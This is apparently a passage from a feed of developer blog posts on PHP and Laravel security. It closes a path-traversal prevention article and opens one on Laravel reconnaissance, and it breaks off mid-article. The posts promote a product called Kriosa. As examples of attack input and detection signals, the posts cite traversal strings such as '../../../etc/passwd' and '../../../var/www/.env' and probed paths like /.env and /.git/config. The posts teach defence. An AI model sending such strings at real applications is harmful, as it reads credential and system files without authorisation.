&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;....//&lt;/code&gt;. After stripping &lt;code&gt;../&lt;/code&gt; it becomes &lt;code&gt;../&lt;/code&gt;. Bypassed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 2 — Checking for &lt;code&gt;../&lt;/code&gt; with strpos:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid path'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;%2e%2e%2f&lt;/code&gt;. Your check never sees &lt;code&gt;../&lt;/code&gt;. Bypassed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 3 — Using basename() alone:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;basename()&lt;/code&gt; strips directory components and returns only the filename. This prevents traversal but breaks any feature that serves files from subdirectories. It works for flat file structures but is not a complete solution. &lt;code&gt;basename()&lt;/code&gt; should be viewed as an additional safeguard, not a replacement for proper path validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Correct Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 — realpath() validation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;realpath()&lt;/code&gt; resolves the actual absolute path after processing all &lt;code&gt;../&lt;/code&gt; sequences and symbolic links. By the time &lt;code&gt;realpath()&lt;/code&gt; is called, PHP has already received the decoded path from the HTTP request. &lt;code&gt;realpath()&lt;/code&gt; then resolves the resulting filesystem path, eliminating &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt; segments and resolving symbolic links.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'File not found.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="no"&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access denied.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why this works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;realpath()&lt;/code&gt; resolves the full path including any &lt;code&gt;../&lt;/code&gt; sequences&lt;/li&gt;
&lt;li&gt;If the file does not exist &lt;code&gt;realpath()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;  caught immediately&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR)&lt;/code&gt; checks that the resolved path still starts with your intended base directory&lt;/li&gt;
&lt;li&gt;If it does not  the traversal moved outside the allowed directory  access is denied&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; ensures the check works correctly on both Linux and Windows systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — Whitelist approach&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For a known set of files never accept a filename from user input at all. Accept an identifier and map it to a filename in your code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedFiles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'invoice'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'invoice_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'receipt'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'receipt_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'contract'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'contract_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$fileKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$fileKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'File not found.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$fileKey&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker never controls any part of the file system path. They send &lt;code&gt;file=invoice&lt;/code&gt; and your code looks up the mapping. No traversal is possible because user input never touches the path directly.&lt;/p&gt;

&lt;p&gt;This is the strongest fix when you have a known set of files. Use it wherever possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 — PHP open_basedir&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PHP has a configuration directive that restricts which directories PHP is allowed to access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;open_basedir&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;/var/www/storage/files/:/tmp/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this configured any attempt to access a file outside the specified directories produces a PHP error  even if the traversal successfully constructs the path. This is a server-level safety net that limits damage if application-level validation fails.&lt;/p&gt;

&lt;p&gt;It does not replace application validation. It is an additional layer underneath it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel Path Traversal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's Storage facade provides a safer abstraction for file operations, but user-controlled paths should still be validated and authorized:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safer — Storage facade reduces common mistakes&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Storage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;disk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'local'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But raw PHP file functions bypass this protection completely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — raw function with user input&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And Laravel's response helpers pass paths directly to PHP  you must validate before calling them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Validate before passing to response()&lt;/span&gt;
&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app/files'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="no"&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Storage facade helps reduce common mistakes, but it does not remove the need to validate and authorize user-controlled paths. Raw PHP file functions require the same care.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Path Traversal Prevention Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For plain PHP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never concatenate user input directly into file paths&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;realpath()&lt;/code&gt; to resolve paths and validate they stay within the intended base directory&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; in path comparisons for cross-platform safety&lt;/li&gt;
&lt;li&gt;Use the whitelist approach whenever you have a known set of files&lt;/li&gt;
&lt;li&gt;Configure &lt;code&gt;open_basedir&lt;/code&gt; in php.ini as a server-level safety net&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;include()&lt;/code&gt; or &lt;code&gt;require()&lt;/code&gt; with user-controlled input&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;basename()&lt;/code&gt; as an additional safeguard for flat file structures — not as a replacement for proper path validation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use the Storage facade for file operations  it provides a safer abstraction&lt;/li&gt;
&lt;li&gt;Validate paths with &lt;code&gt;realpath()&lt;/code&gt; before passing to &lt;code&gt;response()-&amp;gt;file()&lt;/code&gt; or &lt;code&gt;response()-&amp;gt;download()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never pass user input directly to &lt;code&gt;storage_path()&lt;/code&gt;, &lt;code&gt;public_path()&lt;/code&gt;, or &lt;code&gt;base_path()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Validate and authorize user-controlled paths even when using the Storage facade&lt;/li&gt;
&lt;li&gt;Use Laravel's authorization layer to control which users can access which files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Detection Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Path traversal attempts produce distinctive request patterns. Requests containing &lt;code&gt;../&lt;/code&gt; sequences, URL-encoded traversal strings like &lt;code&gt;%2e%2e&lt;/code&gt;, repeated requests probing different directory depths, and requests targeting known sensitive file locations like &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;passwd&lt;/code&gt;, and &lt;code&gt;id_rsa&lt;/code&gt; are all behavioral signals that distinguish automated scanning tools from legitimate users.&lt;/p&gt;

&lt;p&gt;These patterns appear in your request logs before a successful traversal ever occurs. A security layer that monitors for these patterns gives you visibility into probing activity before it turns into a breach.&lt;/p&gt;

&lt;p&gt;Prevention stops the traversal. Detection tells you someone is looking for one.&lt;/p&gt;

&lt;p&gt;Both layers together.&lt;/p&gt;

&lt;p&gt;"To put this in concrete terms &lt;strong&gt;Kriosa blocked 306 attacks on a live PHP application in a single week&lt;/strong&gt;  including path traversal attempts where automated scanners were sending &lt;code&gt;../../../etc/passwd&lt;/code&gt; and &lt;code&gt;../../../var/www/.env&lt;/code&gt; in request parameters. These were not targeted attacks. They were automated tools probing every PHP app they could find."&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;see documentation for intergration &lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa.com/documentation.php&lt;/a&gt;&lt;br&gt;
**&lt;br&gt;
Built for PHP and Laravel developers who want to understand their security - not just outsource it.&lt;br&gt;
Sleep better we're awake - kriosa**&lt;/p&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 21 Jul 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</link>
      <guid>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</guid>
      <description>&lt;p&gt;Originally published on medium&lt;br&gt;
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.&lt;/p&gt;

&lt;p&gt;This is the sixth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Reconnaissance is no different. And it is the step most developers never think about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Reconnaissance Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before an attacker exploits your Laravel application they study it.&lt;/p&gt;

&lt;p&gt;They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.&lt;/p&gt;

&lt;p&gt;This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.&lt;/p&gt;

&lt;p&gt;The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Attackers Are Looking For&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Debug Mode Left On in Production&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the single most dangerous information disclosure mistake in Laravel.&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;APP_DEBUG=true&lt;/code&gt; in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.&lt;/p&gt;

&lt;p&gt;An attacker who triggers any error on your application a 404, a validation failure, a missing parameter  gets a complete map of your server.&lt;/p&gt;

&lt;p&gt;Check your production .env file right now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Exposed .env Files&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.&lt;/p&gt;

&lt;p&gt;If your web server is misconfigured, this file is publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker who reads your &lt;code&gt;.env&lt;/code&gt; file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.&lt;/p&gt;

&lt;p&gt;This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Exposed .git Directory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you deployed by cloning a git repository and did not remove the .git directory from your web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.git/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.&lt;/p&gt;

&lt;p&gt;Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Framework and Version Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.&lt;/p&gt;

&lt;p&gt;Default server responses often include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.&lt;/p&gt;

&lt;p&gt;Remove these headers. They are free reconnaissance for anyone watching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Laravel Packages and Developer Tool Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel packages and developer tools can expose routes that reveal application internals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.&lt;/p&gt;

&lt;p&gt;These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Verbose Error Messages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with debug mode disabled, careless error handling reveals too much:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This tells an attacker your table name exists&lt;/span&gt;
&lt;span class="c1"&gt;// and gives them information about your schema&lt;/span&gt;
&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error querying users table: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.&lt;/p&gt;

&lt;p&gt;The correct approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
